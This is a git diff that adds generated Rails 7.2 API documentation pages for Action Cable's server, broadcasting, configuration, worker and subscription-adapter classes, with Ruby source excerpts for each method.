# File actioncable/lib/action_cable/server/base.rb, line 38
+      def call(env)
+        return config.health_check_application.call(env) if env["PATH_INFO"] == config.health_check_path
+        setup_heartbeat_timer
+        config.connection_class.call.new(self, env).process
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connection_identifiers() + +

+ + +
+

All of the identifiers applied to the connection class associated with this server.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/server/base.rb, line 102
+      def connection_identifiers
+        config.connection_class.call.identifiers
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disconnect(identifiers) + +

+ + +
+

Disconnect all the connections identified by identifiers on this server or any others via RemoteConnections.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/server/base.rb, line 46
+      def disconnect(identifiers)
+        remote_connections.where(identifiers).disconnect
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + event_loop() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/server/base.rb, line 71
+      def event_loop
+        @event_loop || @mutex.synchronize { @event_loop ||= ActionCable::Connection::StreamEventLoop.new }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pubsub() + +

+ + +
+

Adapter used for all streams/broadcasting.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/server/base.rb, line 96
+      def pubsub
+        @pubsub || @mutex.synchronize { @pubsub ||= config.pubsub_adapter.new(self) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remote_connections() + +

+ + +
+

Gateway to RemoteConnections. See that class for details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/server/base.rb, line 67
+      def remote_connections
+        @remote_connections || @mutex.synchronize { @remote_connections ||= RemoteConnections.new(self) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + restart() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/server/base.rb, line 50
+      def restart
+        connections.each do |connection|
+          connection.close(reason: ActionCable::INTERNAL[:disconnect_reasons][:server_restart])
+        end
+
+        @mutex.synchronize do
+          # Shutdown the worker pool
+          @worker_pool.halt if @worker_pool
+          @worker_pool = nil
+
+          # Shutdown the pub/sub adapter
+          @pubsub.shutdown if @pubsub
+          @pubsub = nil
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + worker_pool() + +

+ + +
+

The worker pool is where we run connection callbacks and channel actions. We do as little as possible on the server’s main thread. The worker pool is an executor service that’s backed by a pool of threads working from a task queue. The thread pool size maxes out at 4 worker threads by default. Tune the size yourself with config.action_cable.worker_pool_size.

+ +

Using Active Record, Redis, etc within your channel actions means you’ll get a separate connection from each thread in the worker pool. Plan your deployment accordingly: 5 servers each running 5 Puma workers each running an 8-thread worker pool means at least 200 database connections.

+ +

Also, ensure that your database connection pool size is as least as large as your worker pool size. Otherwise, workers may oversubscribe the database connection pool and block while they wait for other workers to release their connections. Use a smaller worker pool or a larger database connection pool instead.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/server/base.rb, line 91
+      def worker_pool
+        @worker_pool || @mutex.synchronize { @worker_pool ||= ActionCable::Server::Worker.new(max_size: config.worker_pool_size) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Server/Broadcasting.html b/src/7.2/classes/ActionCable/Server/Broadcasting.html new file mode 100644 index 0000000000..2d7b8a48fa --- /dev/null +++ b/src/7.2/classes/ActionCable/Server/Broadcasting.html @@ -0,0 +1,177 @@ +--- +title: ActionCable::Server::Broadcasting +layout: default +--- +
+ +
+
+ +
+ +

Action Cable Server Broadcasting

+ +

Broadcasting is how other parts of your application can send messages to a channel’s subscribers. As explained in Channel, most of the time, these broadcastings are streamed directly to the clients subscribed to the named broadcasting. Let’s explain with a full-stack example:

+ +
class WebNotificationsChannel < ApplicationCable::Channel
+  def subscribed
+    stream_from "web_notifications_#{current_user.id}"
+  end
+end
+
+# Somewhere in your app this is called, perhaps from a NewCommentJob:
+ActionCable.server.broadcast \
+  "web_notifications_1", { title: "New things!", body: "All that's fit for print" }
+
+# Client-side CoffeeScript, which assumes you've already requested the right to send web notifications:
+App.cable.subscriptions.create "WebNotificationsChannel",
+  received: (data) ->
+    new Notification data['title'], body: data['body']
+
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + broadcast(broadcasting, message, coder: ActiveSupport::JSON) + +

+ + +
+

Broadcast a hash directly to a named broadcasting. This will later be JSON encoded.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/server/broadcasting.rb, line 31
+      def broadcast(broadcasting, message, coder: ActiveSupport::JSON)
+        broadcaster_for(broadcasting, coder: coder).broadcast(message)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + broadcaster_for(broadcasting, coder: ActiveSupport::JSON) + +

+ + +
+

Returns a broadcaster for a named broadcasting that can be reused. Useful when you have an object that may need multiple spots to transmit to a specific broadcasting over and over.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/server/broadcasting.rb, line 38
+      def broadcaster_for(broadcasting, coder: ActiveSupport::JSON)
+        Broadcaster.new(self, String(broadcasting), coder: coder)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Server/Broadcasting/Broadcaster.html b/src/7.2/classes/ActionCable/Server/Broadcasting/Broadcaster.html new file mode 100644 index 0000000000..1b826b87e1 --- /dev/null +++ b/src/7.2/classes/ActionCable/Server/Broadcasting/Broadcaster.html @@ -0,0 +1,185 @@ +--- +title: ActionCable::Server::Broadcasting::Broadcaster +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + broadcasting
+ [R] + coder
+ [R] + server
+ + + + +

Class Public methods

+ +
+

+ + new(server, broadcasting, coder:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/server/broadcasting.rb, line 46
+          def initialize(server, broadcasting, coder:)
+            @server, @broadcasting, @coder = server, broadcasting, coder
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + broadcast(message) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/server/broadcasting.rb, line 50
+          def broadcast(message)
+            server.logger.debug { "[ActionCable] Broadcasting to #{broadcasting}: #{message.inspect.truncate(300)}" }
+
+            payload = { broadcasting: broadcasting, message: message, coder: coder }
+            ActiveSupport::Notifications.instrument("broadcast.action_cable", payload) do
+              encoded = coder ? coder.encode(message) : message
+              server.pubsub.broadcast broadcasting, encoded
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Server/Configuration.html b/src/7.2/classes/ActionCable/Server/Configuration.html new file mode 100644 index 0000000000..67c497f4c6 --- /dev/null +++ b/src/7.2/classes/ActionCable/Server/Configuration.html @@ -0,0 +1,311 @@ +--- +title: ActionCable::Server::Configuration +layout: default +--- +
+ +
+
+ +
+ +

Action Cable Server Configuration

+ +

An instance of this configuration object is available via ActionCable.server.config, which allows you to tweak Action Cable configuration in a Rails config initializer.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [RW] + allow_same_origin_as_host
+ [RW] + allowed_request_origins
+ [RW] + cable
+ [RW] + connection_class
+ [RW] + disable_request_forgery_protection
+ [RW] + filter_parameters
+ [RW] + health_check_application
+ [RW] + health_check_path
+ [RW] + log_tags
+ [RW] + logger
+ [RW] + mount_path
+ [RW] + precompile_assets
+ [RW] + url
+ [RW] + worker_pool_size
+ + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/server/configuration.rb, line 22
+      def initialize
+        @log_tags = []
+
+        @connection_class = -> { ActionCable::Connection::Base }
+        @worker_pool_size = 4
+
+        @disable_request_forgery_protection = false
+        @allow_same_origin_as_host = true
+        @filter_parameters = []
+
+        @health_check_application = ->(env) {
+          [200, { Rack::CONTENT_TYPE => "text/html", "date" => Time.now.httpdate }, []]
+        }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + pubsub_adapter() + +

+ + +
+

Returns constant of subscription adapter specified in config/cable.yml. If the adapter cannot be found, this will default to the Redis adapter. Also makes sure proper dependencies are required.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/server/configuration.rb, line 40
+      def pubsub_adapter
+        adapter = (cable.fetch("adapter") { "redis" })
+
+        # Require the adapter itself and give useful feedback about
+        #     1. Missing adapter gems and
+        #     2. Adapter gems' missing dependencies.
+        path_to_adapter = "action_cable/subscription_adapter/#{adapter}"
+        begin
+          require path_to_adapter
+        rescue LoadError => e
+          # We couldn't require the adapter itself. Raise an exception that points out
+          # config typos and missing gems.
+          if e.path == path_to_adapter
+            # We can assume that a non-builtin adapter was specified, so it's either
+            # misspelled or missing from Gemfile.
+            raise e.class, "Could not load the '#{adapter}' Action Cable pubsub adapter. Ensure that the adapter is spelled correctly in config/cable.yml and that you've added the necessary adapter gem to your Gemfile.", e.backtrace
+
+          # Bubbled up from the adapter require. Prefix the exception message with some
+          # guidance about how to address it and reraise.
+          else
+            raise e.class, "Error loading the '#{adapter}' Action Cable pubsub adapter. Missing a gem it depends on? #{e.message}", e.backtrace
+          end
+        end
+
+        adapter = adapter.camelize
+        adapter = "PostgreSQL" if adapter == "Postgresql"
+        "ActionCable::SubscriptionAdapter::#{adapter}".constantize
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Server/Worker.html b/src/7.2/classes/ActionCable/Server/Worker.html new file mode 100644 index 0000000000..1ff1e47582 --- /dev/null +++ b/src/7.2/classes/ActionCable/Server/Worker.html @@ -0,0 +1,75 @@ +--- +title: ActionCable::Server::Worker +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Server/Worker/ActiveRecordConnectionManagement.html b/src/7.2/classes/ActionCable/Server/Worker/ActiveRecordConnectionManagement.html new file mode 100644 index 0000000000..f50937dd44 --- /dev/null +++ b/src/7.2/classes/ActionCable/Server/Worker/ActiveRecordConnectionManagement.html @@ -0,0 +1,101 @@ +--- +title: ActionCable::Server::Worker::ActiveRecordConnectionManagement +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + with_database_connections(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/server/worker/active_record_connection_management.rb, line 17
+        def with_database_connections(&block)
+          connection.logger.tag(ActiveRecord::Base.logger, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/SubscriptionAdapter.html b/src/7.2/classes/ActionCable/SubscriptionAdapter.html new file mode 100644 index 0000000000..e755d1319a --- /dev/null +++ b/src/7.2/classes/ActionCable/SubscriptionAdapter.html @@ -0,0 +1,93 @@ +--- +title: ActionCable::SubscriptionAdapter +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/ActionCable/SubscriptionAdapter/Async.html b/src/7.2/classes/ActionCable/SubscriptionAdapter/Async.html new file mode 100644 index 0000000000..80edae34ab --- /dev/null +++ b/src/7.2/classes/ActionCable/SubscriptionAdapter/Async.html @@ -0,0 +1,73 @@ +--- +title: ActionCable::SubscriptionAdapter::Async +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/SubscriptionAdapter/Async/AsyncSubscriberMap.html b/src/7.2/classes/ActionCable/SubscriptionAdapter/Async/AsyncSubscriberMap.html new file mode 100644 index 0000000000..2ce519d169 --- /dev/null +++ b/src/7.2/classes/ActionCable/SubscriptionAdapter/Async/AsyncSubscriberMap.html @@ -0,0 +1,189 @@ +--- +title: ActionCable::SubscriptionAdapter::Async::AsyncSubscriberMap +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(event_loop) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/async.rb, line 14
+          def initialize(event_loop)
+            @event_loop = event_loop
+            super()
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + add_subscriber(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/async.rb, line 19
+          def add_subscriber(*)
+            @event_loop.post { super }
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + invoke_callback(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/async.rb, line 23
+          def invoke_callback(*)
+            @event_loop.post { super }
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/SubscriptionAdapter/Base.html b/src/7.2/classes/ActionCable/SubscriptionAdapter/Base.html new file mode 100644 index 0000000000..1ec25703c9 --- /dev/null +++ b/src/7.2/classes/ActionCable/SubscriptionAdapter/Base.html @@ -0,0 +1,328 @@ +--- +title: ActionCable::SubscriptionAdapter::Base +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + logger
+ [R] + server
+ + + + +

Class Public methods

+ +
+

+ + new(server) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/base.rb, line 10
+      def initialize(server)
+        @server = server
+        @logger = @server.logger
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + broadcast(channel, payload) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/base.rb, line 15
+      def broadcast(channel, payload)
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + identifier() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/base.rb, line 31
+      def identifier
+        @server.config.cable[:id] ||= "ActionCable-PID-#{$$}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + shutdown() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/base.rb, line 27
+      def shutdown
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + subscribe(channel, message_callback, success_callback = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/base.rb, line 19
+      def subscribe(channel, message_callback, success_callback = nil)
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unsubscribe(channel, message_callback) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/base.rb, line 23
+      def unsubscribe(channel, message_callback)
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/SubscriptionAdapter/PostgreSQL.html b/src/7.2/classes/ActionCable/SubscriptionAdapter/PostgreSQL.html new file mode 100644 index 0000000000..cf73c80c43 --- /dev/null +++ b/src/7.2/classes/ActionCable/SubscriptionAdapter/PostgreSQL.html @@ -0,0 +1,73 @@ +--- +title: ActionCable::SubscriptionAdapter::PostgreSQL +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/SubscriptionAdapter/PostgreSQL/Listener.html b/src/7.2/classes/ActionCable/SubscriptionAdapter/PostgreSQL/Listener.html new file mode 100644 index 0000000000..b882fd459d --- /dev/null +++ b/src/7.2/classes/ActionCable/SubscriptionAdapter/PostgreSQL/Listener.html @@ -0,0 +1,337 @@ +--- +title: ActionCable::SubscriptionAdapter::PostgreSQL::Listener +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(adapter, event_loop) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/postgresql.rb, line 76
+          def initialize(adapter, event_loop)
+            super()
+
+            @adapter = adapter
+            @event_loop = event_loop
+            @queue = Queue.new
+
+            @thread = Thread.new do
+              Thread.current.abort_on_exception = true
+              listen
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + add_channel(channel, on_success) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/postgresql.rb, line 120
+          def add_channel(channel, on_success)
+            @queue.push([:listen, channel, on_success])
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + invoke_callback(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/postgresql.rb, line 128
+          def invoke_callback(*)
+            @event_loop.post { super }
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + listen() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/postgresql.rb, line 89
+          def listen
+            @adapter.with_subscriptions_connection do |pg_conn|
+              catch :shutdown do
+                loop do
+                  until @queue.empty?
+                    action, channel, callback = @queue.pop(true)
+
+                    case action
+                    when :listen
+                      pg_conn.exec("LISTEN #{pg_conn.escape_identifier channel}")
+                      @event_loop.post(&callback) if callback
+                    when :unlisten
+                      pg_conn.exec("UNLISTEN #{pg_conn.escape_identifier channel}")
+                    when :shutdown
+                      throw :shutdown
+                    end
+                  end
+
+                  pg_conn.wait_for_notify(1) do |chan, pid, message|
+                    broadcast(chan, message)
+                  end
+                end
+              end
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_channel(channel) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/postgresql.rb, line 124
+          def remove_channel(channel)
+            @queue.push([:unlisten, channel])
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + shutdown() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/postgresql.rb, line 115
+          def shutdown
+            @queue.push([:shutdown])
+            Thread.pass while @thread.alive?
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/SubscriptionAdapter/Redis.html b/src/7.2/classes/ActionCable/SubscriptionAdapter/Redis.html new file mode 100644 index 0000000000..a5142556cf --- /dev/null +++ b/src/7.2/classes/ActionCable/SubscriptionAdapter/Redis.html @@ -0,0 +1,73 @@ +--- +title: ActionCable::SubscriptionAdapter::Redis +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/SubscriptionAdapter/Redis/Listener.html b/src/7.2/classes/ActionCable/SubscriptionAdapter/Redis/Listener.html new file mode 100644 index 0000000000..5506e48806 --- /dev/null +++ b/src/7.2/classes/ActionCable/SubscriptionAdapter/Redis/Listener.html @@ -0,0 +1,398 @@ +--- +title: ActionCable::SubscriptionAdapter::Redis::Listener +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
ConnectionError=::Redis::BaseConnectionError
+ + + + + + +

Class Public methods

+ +
+

+ + new(adapter, config_options, event_loop) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/redis.rb, line 68
+          def initialize(adapter, config_options, event_loop)
+            super()
+
+            @adapter = adapter
+            @event_loop = event_loop
+
+            @subscribe_callbacks = Hash.new { |h, k| h[k] = [] }
+            @subscription_lock = Mutex.new
+
+            @reconnect_attempt = 0
+            # Use the same config as used by Redis conn
+            @reconnect_attempts = config_options.fetch(:reconnect_attempts, 1)
+            @reconnect_attempts = Array.new(@reconnect_attempts, 0) if @reconnect_attempts.is_a?(Integer)
+
+            @subscribed_client = nil
+
+            @when_connected = []
+
+            @thread = nil
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + add_channel(channel, on_success) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/redis.rb, line 141
+          def add_channel(channel, on_success)
+            @subscription_lock.synchronize do
+              ensure_listener_running
+              @subscribe_callbacks[channel] << on_success
+              when_connected { @subscribed_client.subscribe(channel) }
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + invoke_callback(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/redis.rb, line 155
+          def invoke_callback(*)
+            @event_loop.post { super }
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + listen(conn) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/redis.rb, line 89
+          def listen(conn)
+            conn.without_reconnect do
+              original_client = extract_subscribed_client(conn)
+
+              conn.subscribe("_action_cable_internal") do |on|
+                on.subscribe do |chan, count|
+                  @subscription_lock.synchronize do
+                    if count == 1
+                      @reconnect_attempt = 0
+                      @subscribed_client = original_client
+
+                      until @when_connected.empty?
+                        @when_connected.shift.call
+                      end
+                    end
+
+                    if callbacks = @subscribe_callbacks[chan]
+                      next_callback = callbacks.shift
+                      @event_loop.post(&next_callback) if next_callback
+                      @subscribe_callbacks.delete(chan) if callbacks.empty?
+                    end
+                  end
+                end
+
+                on.message do |chan, message|
+                  broadcast(chan, message)
+                end
+
+                on.unsubscribe do |chan, count|
+                  if count == 0
+                    @subscription_lock.synchronize do
+                      @subscribed_client = nil
+                    end
+                  end
+                end
+              end
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_channel(channel) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/redis.rb, line 149
+          def remove_channel(channel)
+            @subscription_lock.synchronize do
+              when_connected { @subscribed_client.unsubscribe(channel) }
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + shutdown() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/redis.rb, line 128
+          def shutdown
+            @subscription_lock.synchronize do
+              return if @thread.nil?
+
+              when_connected do
+                @subscribed_client.unsubscribe
+                @subscribed_client = nil
+              end
+            end
+
+            Thread.pass while @thread.alive?
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/SubscriptionAdapter/Redis/Listener/SubscribedClient.html b/src/7.2/classes/ActionCable/SubscriptionAdapter/Redis/Listener/SubscribedClient.html new file mode 100644 index 0000000000..7db3fc8fc0 --- /dev/null +++ b/src/7.2/classes/ActionCable/SubscriptionAdapter/Redis/Listener/SubscribedClient.html @@ -0,0 +1,188 @@ +--- +title: ActionCable::SubscriptionAdapter::Redis::Listener::SubscribedClient +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(raw_client) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/redis.rb, line 216
+                def initialize(raw_client)
+                  @raw_client = raw_client
+                end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + subscribe(*channel) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/redis.rb, line 220
+                def subscribe(*channel)
+                  send_command("subscribe", *channel)
+                end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unsubscribe(*channel) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/redis.rb, line 224
+                def unsubscribe(*channel)
+                  send_command("unsubscribe", *channel)
+                end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/SubscriptionAdapter/SubscriberMap.html b/src/7.2/classes/ActionCable/SubscriptionAdapter/SubscriberMap.html new file mode 100644 index 0000000000..03d0c1a50c --- /dev/null +++ b/src/7.2/classes/ActionCable/SubscriptionAdapter/SubscriberMap.html @@ -0,0 +1,368 @@ +--- +title: ActionCable::SubscriptionAdapter::SubscriberMap +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb, line 8
+      def initialize
+        @subscribers = Hash.new { |h, k| h[k] = [] }
+        @sync = Mutex.new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + add_channel(channel, on_success) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb, line 49
+      def add_channel(channel, on_success)
+        on_success.call if on_success
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add_subscriber(channel, subscriber, on_success) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb, line 13
+      def add_subscriber(channel, subscriber, on_success)
+        @sync.synchronize do
+          new_channel = !@subscribers.key?(channel)
+
+          @subscribers[channel] << subscriber
+
+          if new_channel
+            add_channel channel, on_success
+          elsif on_success
+            on_success.call
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + broadcast(channel, message) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb, line 38
+      def broadcast(channel, message)
+        list = @sync.synchronize do
+          return if !@subscribers.key?(channel)
+          @subscribers[channel].dup
+        end
+
+        list.each do |subscriber|
+          invoke_callback(subscriber, message)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + invoke_callback(callback, message) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb, line 56
+      def invoke_callback(callback, message)
+        callback.call message
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_channel(channel) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb, line 53
+      def remove_channel(channel)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_subscriber(channel, subscriber) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb, line 27
+      def remove_subscriber(channel, subscriber)
+        @sync.synchronize do
+          @subscribers[channel].delete(subscriber)
+
+          if @subscribers[channel].empty?
+            @subscribers.delete channel
+            remove_channel channel
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/SubscriptionAdapter/Test.html b/src/7.2/classes/ActionCable/SubscriptionAdapter/Test.html new file mode 100644 index 0000000000..da74033de1 --- /dev/null +++ b/src/7.2/classes/ActionCable/SubscriptionAdapter/Test.html @@ -0,0 +1,237 @@ +--- +title: ActionCable::SubscriptionAdapter::Test +layout: default +--- +
+ +
+
+ +
+ +

Test adapter for Action Cable

+ +

The test adapter should be used only in testing. Along with ActionCable::TestHelper it makes a great tool to test your Rails application.

+ +

To use the test adapter set adapter value to test in your config/cable.yml file.

+ +

NOTE: Test adapter extends the ActionCable::SubscriptionAdapter::Async adapter, so it could be used in system tests too.

+ +
